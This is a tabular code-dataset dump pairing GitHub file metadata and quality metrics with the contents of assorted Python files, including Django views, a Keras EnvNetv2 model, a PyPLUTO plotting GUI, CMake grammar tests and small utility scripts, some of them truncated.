hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4a97a9339d1dbf83eff522661710d1d4f5d96774 | 1,761 | py | Python | py_eyetracker_v1.0/utils/eyecorners.py | michele-mada/cv-eyetracking-project-2017 | 605cff57307e7c9abdd7fe0a40a710fdd4bca0ad | [
"MIT"
] | 1 | 2021-02-20T02:18:30.000Z | 2021-02-20T02:18:30.000Z | py_eyetracker_v1.0/utils/eyecorners.py | michele-mada/cv-eyetracking-project-2017 | 605cff57307e7c9abdd7fe0a40a710fdd4bca0ad | [
"MIT"
] | null | null | null | py_eyetracker_v1.0/utils/eyecorners.py | michele-mada/cv-eyetracking-project-2017 | 605cff57307e7c9abdd7fe0a40a710fdd4bca0ad | [
"MIT"
] | 3 | 2019-05-09T08:41:12.000Z | 2022-01-13T17:25:23.000Z | from skimage.feature import corner_harris, corner_peaks
from skimage.filters import gaussian
from skimage import img_as_ubyte
import cv2
import numpy as np
from classes import Point
# heuristic to find the best corner, given its position relative to the pupil center
def corner_measure(corner, center, leftness=1):
... | 36.6875 | 92 | 0.570698 | 213 | 1,761 | 4.549296 | 0.356808 | 0.06192 | 0.034056 | 0.052632 | 0.377709 | 0.377709 | 0.377709 | 0.377709 | 0.377709 | 0.288958 | 0 | 0.019383 | 0.35548 | 1,761 | 47 | 93 | 37.468085 | 0.834361 | 0.152754 | 0 | 0.235294 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021277 | 0 | 1 | 0.058824 | false | 0 | 0.176471 | 0 | 0.294118 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4a9c2e5c4276b1520df5fecf6469591a1927eecf | 3,922 | py | Python | django101/django101/web/views.py | Minkov/python-web-framework-demos- | 30f39de0b4344e1b7e5d4cf96f6d6bbbfe867305 | [
"MIT"
] | 2 | 2022-03-06T11:56:35.000Z | 2022-03-20T09:31:45.000Z | django101/django101/web/views.py | Minkov/python-web-framework-demos- | 30f39de0b4344e1b7e5d4cf96f6d6bbbfe867305 | [
"MIT"
] | null | null | null | django101/django101/web/views.py | Minkov/python-web-framework-demos- | 30f39de0b4344e1b7e5d4cf96f6d6bbbfe867305 | [
"MIT"
] | 4 | 2022-03-17T18:05:19.000Z | 2022-03-22T16:38:11.000Z | from django.contrib.auth import authenticate, login
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import HttpResponse
from django.shortcuts import render, redirect
from django.urls import reverse_lazy
from django.views import generic... | 25.97351 | 77 | 0.653493 | 450 | 3,922 | 5.571111 | 0.308889 | 0.02154 | 0.027124 | 0.02513 | 0.111687 | 0.091743 | 0.091743 | 0.091743 | 0.056641 | 0.056641 | 0 | 0.004695 | 0.239674 | 3,922 | 150 | 78 | 26.146667 | 0.836016 | 0.240949 | 0 | 0.168831 | 0 | 0 | 0.102041 | 0 | 0 | 0 | 0 | 0.006667 | 0 | 1 | 0.116883 | false | 0.025974 | 0.103896 | 0.012987 | 0.584416 | 0.012987 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
4aac5f87c023fe9f5dd8ff8cbe3c348fdd6c4e9f | 506 | py | Python | pandas_180319.py | Jianyang-Hu/numpypractice | f4d4a3e28f5dd10f9722f83b1ac66f0f2ccef8b9 | [
"Apache-2.0"
] | null | null | null | pandas_180319.py | Jianyang-Hu/numpypractice | f4d4a3e28f5dd10f9722f83b1ac66f0f2ccef8b9 | [
"Apache-2.0"
] | null | null | null | pandas_180319.py | Jianyang-Hu/numpypractice | f4d4a3e28f5dd10f9722f83b1ac66f0f2ccef8b9 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# @version : Python3.6
# @Time : 2018/3/19 21:57
# @Author : Jianyang-Hu
# @contact : jianyang1993@163.com
# @File : pandas_180319.py
# @Software: PyCharm
from pandas import Series,DataFrame
import pandas as np
# obj = Series([4,7,-1,9])
# print(obj)
# print(obj.values)
# print(obj.inde... | 20.24 | 51 | 0.626482 | 78 | 506 | 4.051282 | 0.679487 | 0.075949 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097674 | 0.150198 | 506 | 24 | 52 | 21.083333 | 0.637209 | 0.624506 | 0 | 0 | 0 | 0 | 0.097143 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
4ab09a82898413621f21a8f9fa027f02282a94e5 | 2,580 | py | Python | productTests/utilities/server_user.py | KroneckerDeIta/Vision | 149bd178ae2ea003e512cbc09f586d3c11f2b219 | [
"MIT"
] | null | null | null | productTests/utilities/server_user.py | KroneckerDeIta/Vision | 149bd178ae2ea003e512cbc09f586d3c11f2b219 | [
"MIT"
] | null | null | null | productTests/utilities/server_user.py | KroneckerDeIta/Vision | 149bd178ae2ea003e512cbc09f586d3c11f2b219 | [
"MIT"
] | null | null | null | """ Module which contains a class which represents a user directly interacting with the server. """
import json
import requests
from productTests import settings
####################################################################################################
class ServerUser:
""" Object which stores informat... | 40.952381 | 100 | 0.475969 | 213 | 2,580 | 5.483568 | 0.328639 | 0.065925 | 0.064212 | 0.025685 | 0.032534 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.224806 | 2,580 | 62 | 101 | 41.612903 | 0.584 | 0.18876 | 0 | 0 | 0 | 0 | 0.073529 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0.085714 | 0.085714 | 0 | 0.285714 | 0.028571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
4ab22d60d4865f43b6c5c4687d0c2647e453722b | 3,470 | py | Python | usaspending_api/download/v2/views.py | Violet26/usaspending-api | 3e2b54662bb27217f4af223d429b09c112a01a5a | [
"CC0-1.0"
] | null | null | null | usaspending_api/download/v2/views.py | Violet26/usaspending-api | 3e2b54662bb27217f4af223d429b09c112a01a5a | [
"CC0-1.0"
] | null | null | null | usaspending_api/download/v2/views.py | Violet26/usaspending-api | 3e2b54662bb27217f4af223d429b09c112a01a5a | [
"CC0-1.0"
] | null | null | null | import logging
from usaspending_api.common.experimental_api_flags import is_experimental_elasticsearch_api
from usaspending_api.download.v2.base_download_viewset import BaseDownloadViewSet
logger = logging.getLogger("console")
class RowLimitedAwardDownloadViewSet(BaseDownloadViewSet):
"""
This route sends a... | 38.131868 | 120 | 0.727666 | 397 | 3,470 | 6.2267 | 0.191436 | 0.038835 | 0.072816 | 0.080097 | 0.751214 | 0.698625 | 0.688511 | 0.642799 | 0.642799 | 0.642799 | 0 | 0.002465 | 0.181556 | 3,470 | 90 | 121 | 38.555556 | 0.867958 | 0.208646 | 0 | 0.395349 | 0 | 0 | 0.316704 | 0.161376 | 0 | 0 | 0 | 0 | 0 | 1 | 0.139535 | false | 0 | 0.069767 | 0 | 0.627907 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4ab34326bb4b591f22ed8be79d4294949f96b5ee | 2,004 | py | Python | wechat_sdk/utils.py | upcwangying/wechat-python-sdk | bf6f6f3d4a5440feb73a51937059d7feddc335a0 | [
"BSD-2-Clause"
] | 1,150 | 2015-01-10T07:23:31.000Z | 2022-01-23T14:19:47.000Z | wechat_sdk/utils.py | upcwangying/wechat-python-sdk | bf6f6f3d4a5440feb73a51937059d7feddc335a0 | [
"BSD-2-Clause"
] | 71 | 2015-01-16T04:59:03.000Z | 2021-06-16T08:48:21.000Z | wechat_sdk/utils.py | upcwangying/wechat-python-sdk | bf6f6f3d4a5440feb73a51937059d7feddc335a0 | [
"BSD-2-Clause"
] | 402 | 2015-01-03T08:39:49.000Z | 2021-10-13T07:27:22.000Z | # -*- coding: utf-8 -*-
import io
import six
import time
import random
def to_text(value, encoding='utf-8'):
"""将 value 转为 unicode,默认编码 utf-8
:param value: 待转换的值
:param encoding: 编码
"""
if not value:
return ''
if isinstance(value, six.text_type):
return value
if isinstanc... | 21.319149 | 82 | 0.622255 | 241 | 2,004 | 5.091286 | 0.385892 | 0.0163 | 0.05542 | 0.0652 | 0.291769 | 0.262429 | 0.218419 | 0.218419 | 0.08802 | 0.08802 | 0 | 0.024145 | 0.255988 | 2,004 | 93 | 83 | 21.548387 | 0.798793 | 0.216068 | 0 | 0.208333 | 0 | 0 | 0.091221 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.145833 | false | 0.020833 | 0.104167 | 0 | 0.541667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
4ab4885988016323c0d9ce882b0655837ee7871e | 2,774 | py | Python | reinvent-2019/rhythm-cloud/lib/ABElectronics_Python_Libraries/IOPi/demos/tutorial3.py | kienpham2000/aws-builders-fair-projects | 6c4075c0945a6318b217355a6fc663e35ffb9dba | [
"Apache-2.0"
] | 2 | 2019-12-17T03:38:38.000Z | 2021-05-28T06:23:58.000Z | reinvent-2019/rhythm-cloud/lib/ABElectronics_Python_Libraries/IOPi/demos/tutorial3.py | kienpham2000/aws-builders-fair-projects | 6c4075c0945a6318b217355a6fc663e35ffb9dba | [
"Apache-2.0"
] | 8 | 2021-05-09T06:05:46.000Z | 2022-03-02T09:53:20.000Z | reinvent-2019/rhythm-cloud/lib/ABElectronics_Python_Libraries/IOPi/demos/tutorial3.py | kienpham2000/aws-builders-fair-projects | 6c4075c0945a6318b217355a6fc663e35ffb9dba | [
"Apache-2.0"
] | 3 | 2020-09-30T18:46:59.000Z | 2020-10-21T21:20:26.000Z | #!/usr/bin/env python
"""
================================================
ABElectronics IO Pi | - Tutorial 3
Requires python smbus to be installed
For Python 2 install with: sudo apt-get install python-smbus
For Python 3 install with: sudo apt-get install python3-smbus
run with: python tutorial3.py
=================... | 30.483516 | 78 | 0.652127 | 414 | 2,774 | 4.282609 | 0.335749 | 0.036661 | 0.023689 | 0.01692 | 0.083474 | 0.071066 | 0 | 0 | 0 | 0 | 0 | 0.033058 | 0.258472 | 2,774 | 90 | 79 | 30.822222 | 0.828877 | 0.535689 | 0 | 0.176471 | 0 | 0 | 0.107372 | 0 | 0 | 0 | 0.032051 | 0 | 0 | 1 | 0.029412 | false | 0 | 0.323529 | 0 | 0.352941 | 0.088235 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
4ab504cdf5ab86e6ffefb35047fd0749d4a797cf | 2,333 | py | Python | samples/62 Native-Callees Callers.py | acbocai/jeb_script | 5d918a2abb7e50fbbb4c571122741d52b20959fd | [
"BSD-2-Clause"
] | 25 | 2020-10-27T11:26:02.000Z | 2022-03-31T01:40:20.000Z | samples/62 Native-Callees Callers.py | acbocai/jeb_script | 5d918a2abb7e50fbbb4c571122741d52b20959fd | [
"BSD-2-Clause"
] | null | null | null | samples/62 Native-Callees Callers.py | acbocai/jeb_script | 5d918a2abb7e50fbbb4c571122741d52b20959fd | [
"BSD-2-Clause"
] | 9 | 2020-12-10T20:13:23.000Z | 2022-03-04T07:09:14.000Z | # -*- coding: utf-8 -*-
from com.pnfsoftware.jeb.client.api import IClientContext
from com.pnfsoftware.jeb.core import IRuntimeProject
from com.pnfsoftware.jeb.core.units import IUnit, INativeCodeUnit
from com.pnfsoftware.jeb.core.units.code.asm.analyzer import INativeCodeAnalyzer, INativeCodeModel, IReferenceManager, ... | 48.604167 | 165 | 0.71796 | 197 | 2,333 | 8.482234 | 0.492386 | 0.086176 | 0.05386 | 0.062837 | 0.077199 | 0.062238 | 0.044285 | 0.044285 | 0 | 0 | 0 | 0.010048 | 0.189456 | 2,333 | 48 | 166 | 48.604167 | 0.873612 | 0.113588 | 0 | 0 | 0 | 0 | 0.066439 | 0.048852 | 0 | 0 | 0 | 0 | 0.346154 | 0 | null | null | 0 | 0.192308 | null | null | 0.115385 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4ab6e996daea46b4532e067121abe4776677b5db | 7,316 | py | Python | cmakescript/cmakegrammar_test.py | rpavlik/cmake-multitool | de0aa2c9235495d4230d0fb64a685e2959a9116e | [
"BSL-1.0"
] | 11 | 2015-02-27T09:25:41.000Z | 2020-01-12T19:50:29.000Z | cmakescript/cmakegrammar_test.py | rpavlik/cmake-multitool | de0aa2c9235495d4230d0fb64a685e2959a9116e | [
"BSL-1.0"
] | null | null | null | cmakescript/cmakegrammar_test.py | rpavlik/cmake-multitool | de0aa2c9235495d4230d0fb64a685e2959a9116e | [
"BSL-1.0"
] | 3 | 2016-01-05T10:25:36.000Z | 2018-06-22T09:38:03.000Z | #!/usr/bin/env python
"""
Tests for the cmakescript.cmakegrammar module
Original Author:
2010 Ryan Pavlik <rpavlik@iastate.edu> <abiryan@ryand.net>
http://academic.cleardefinition.com
Iowa State University HCI Graduate Program/VRAC
"""
###
# standard packages
import unittest
import re
###
# third-party packages
# - ... | 27.607547 | 125 | 0.65637 | 868 | 7,316 | 5.468894 | 0.239631 | 0.032442 | 0.028439 | 0.028018 | 0.428481 | 0.352433 | 0.31304 | 0.251738 | 0.222456 | 0.219507 | 0 | 0.005539 | 0.185621 | 7,316 | 264 | 126 | 27.712121 | 0.791205 | 0.051121 | 0 | 0.359551 | 0 | 0 | 0.17262 | 0.004102 | 0 | 0 | 0 | 0 | 0.078652 | 0 | null | null | 0 | 0.02809 | null | null | 0.078652 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4aba53423fc2fe42ecb6e789e47ab548edbdd3bc | 2,476 | py | Python | envnetv2.py | T-Sumida/Keras_EnvNetv2 | eea7c14bfd3e600219465b19949fa37afa4c468b | [
"MIT"
] | null | null | null | envnetv2.py | T-Sumida/Keras_EnvNetv2 | eea7c14bfd3e600219465b19949fa37afa4c468b | [
"MIT"
] | null | null | null | envnetv2.py | T-Sumida/Keras_EnvNetv2 | eea7c14bfd3e600219465b19949fa37afa4c468b | [
"MIT"
] | null | null | null | # coding :utf-8
import tensorflow as tf
def ConvBlock(out_channels, kernel, stride, x):
x = tf.keras.layers.Conv2D(
filters=out_channels, kernel_size=kernel,
strides=stride,
data_format='channels_last', activation='linear',
kernel_initializer='he_normal', use_bias=False
)(x)
... | 34.873239 | 78 | 0.570275 | 359 | 2,476 | 3.821727 | 0.247911 | 0.107143 | 0.170554 | 0.163265 | 0.449708 | 0.41691 | 0.374636 | 0.364431 | 0.364431 | 0.271866 | 0 | 0.054726 | 0.269386 | 2,476 | 70 | 79 | 35.371429 | 0.703704 | 0.011309 | 0 | 0.362069 | 0 | 0 | 0.023751 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0 | 0.017241 | 0 | 0.12069 | 0.017241 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4abac08923ca3b71922dd572b7760f3a828d5d9b | 534 | py | Python | app/urls.py | doctsystems/django_rest_api | 55605703a68e4c41582eb6179c5c257738545324 | [
"MIT"
] | null | null | null | app/urls.py | doctsystems/django_rest_api | 55605703a68e4c41582eb6179c5c257738545324 | [
"MIT"
] | null | null | null | app/urls.py | doctsystems/django_rest_api | 55605703a68e4c41582eb6179c5c257738545324 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.urls import path, include
# For static and media files
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('admin/', admin.site.urls),
path('api/user/', include('user.urls')),
path('api/recipe/', include('recipe.urls... | 31.411765 | 82 | 0.747191 | 73 | 534 | 5.383562 | 0.342466 | 0.101781 | 0.071247 | 0.117048 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131086 | 534 | 17 | 83 | 31.411765 | 0.846983 | 0.089888 | 0 | 0 | 0 | 0 | 0.095041 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
4ac46dd51170990aa0e7394e500a2cf724f72c78 | 36,620 | py | Python | PLUTO/Tools/pyPLUTO/bin/GUI_pyPLUTO.py | Mixpap/JetCloudSim | bc44ca3eb3956b87a4390428d897099a92a8b9b2 | [
"MIT"
] | 1 | 2018-11-21T20:32:36.000Z | 2018-11-21T20:32:36.000Z | PLUTO/Tools/pyPLUTO/bin/GUI_pyPLUTO.py | Mixpap/JetCloudSim | bc44ca3eb3956b87a4390428d897099a92a8b9b2 | [
"MIT"
] | 3 | 2018-10-08T22:20:49.000Z | 2018-10-19T14:00:44.000Z | PLUTO/Tools/pyPLUTO/bin/GUI_pyPLUTO.py | Mixpap/JetCloudSim | bc44ca3eb3956b87a4390428d897099a92a8b9b2 | [
"MIT"
] | 1 | 2019-06-26T05:37:43.000Z | 2019-06-26T05:37:43.000Z | #!/usr/bin/env python
import matplotlib
matplotlib.use('TkAgg')
from numpy import arange, sin, pi,log10,max,min,cos,isnan, meshgrid,sqrt,abs
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg,NavigationToolbar2TkAgg
from matplotlib.figure import Figure
import pyPLUTO as pp
import string
import time
fro... | 40.824972 | 194 | 0.520344 | 4,369 | 36,620 | 4.341955 | 0.099794 | 0.023722 | 0.027043 | 0.024038 | 0.598998 | 0.539273 | 0.49436 | 0.446863 | 0.412862 | 0.354771 | 0 | 0.025867 | 0.31592 | 36,620 | 896 | 195 | 40.870536 | 0.731388 | 0.020262 | 0 | 0.473088 | 0 | 0 | 0.051736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.001416 | 0.014164 | null | null | 0.021246 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4ac7bfd6a3d717660cff5489f98a3e612083fdcc | 908 | py | Python | app/sqlcreate.py | GitHub847362/pricing-dashboard | d7c87877fa9e11863f1c245c65106565287dd423 | [
"MIT"
] | null | null | null | app/sqlcreate.py | GitHub847362/pricing-dashboard | d7c87877fa9e11863f1c245c65106565287dd423 | [
"MIT"
] | null | null | null | app/sqlcreate.py | GitHub847362/pricing-dashboard | d7c87877fa9e11863f1c245c65106565287dd423 | [
"MIT"
] | null | null | null | import mysql.connector
from mysql.connector import Error
import pandas as pd
import os
SQLPW = os.getenv("SQLPASS")
def create_server_connection(host_name, user_name, user_password):
connection = None
try:
connection = mysql.connector.connect(
host=host_name,
user=user_name,
... | 25.942857 | 70 | 0.688326 | 106 | 908 | 5.735849 | 0.415094 | 0.115132 | 0.072368 | 0.052632 | 0.098684 | 0.098684 | 0.098684 | 0.098684 | 0 | 0 | 0 | 0.007052 | 0.219163 | 908 | 34 | 71 | 26.705882 | 0.850494 | 0.015419 | 0 | 0.222222 | 0 | 0 | 0.166853 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074074 | false | 0.111111 | 0.148148 | 0 | 0.259259 | 0.148148 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
435c570db087f8ae41143038b095d929f4eabf1b | 140 | py | Python | a.11.8.py | AmanMishra148/python-repo | 5b07fe19f2058fc2c909b96ae173f4346ac8d3da | [
"bzip2-1.0.6"
] | null | null | null | a.11.8.py | AmanMishra148/python-repo | 5b07fe19f2058fc2c909b96ae173f4346ac8d3da | [
"bzip2-1.0.6"
] | 1 | 2021-10-18T09:59:45.000Z | 2021-10-18T09:59:45.000Z | a.11.8.py | AmanMishra148/python-repo | 5b07fe19f2058fc2c909b96ae173f4346ac8d3da | [
"bzip2-1.0.6"
] | 4 | 2021-10-18T09:40:54.000Z | 2021-10-19T14:14:28.000Z | #Calc sum of digits of a given no.
print("enter any no.")
n=int(input())
ssum=0
while(n!=0):
x=n%10
n=n//10
ssum+=x
print(ssum)
| 14 | 34 | 0.592857 | 30 | 140 | 2.766667 | 0.6 | 0.072289 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054545 | 0.214286 | 140 | 9 | 35 | 15.555556 | 0.7 | 0.235714 | 0 | 0 | 0 | 0 | 0.122642 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
435cafd501d6aea70d2ff2b48dcf3c3ac7e0cc64 | 5,474 | py | Python | venv/lib/python2.7/site-packages/kombu/tests/case.py | philnova/reminderapp | 67e38ce6fd674a88a300ba54d7d615411adf9db6 | [
"MIT"
] | 1 | 2015-08-04T19:41:53.000Z | 2015-08-04T19:41:53.000Z | microblog/flask/venv/lib/python2.7/site-packages/kombu/tests/case.py | johankaito/fufuka | 32a96ecf98ce305c2206c38443e58fdec88c788d | [
"Apache-2.0"
] | null | null | null | microblog/flask/venv/lib/python2.7/site-packages/kombu/tests/case.py | johankaito/fufuka | 32a96ecf98ce305c2206c38443e58fdec88c788d | [
"Apache-2.0"
] | 1 | 2020-11-01T20:40:01.000Z | 2020-11-01T20:40:01.000Z | from __future__ import absolute_import
import os
import sys
import types
from functools import wraps
try:
from unittest import mock
except ImportError:
import mock # noqa
from nose import SkipTest
from kombu.five import builtins, string_t, StringIO
from kombu.utils.encoding import ensure_bytes
try:
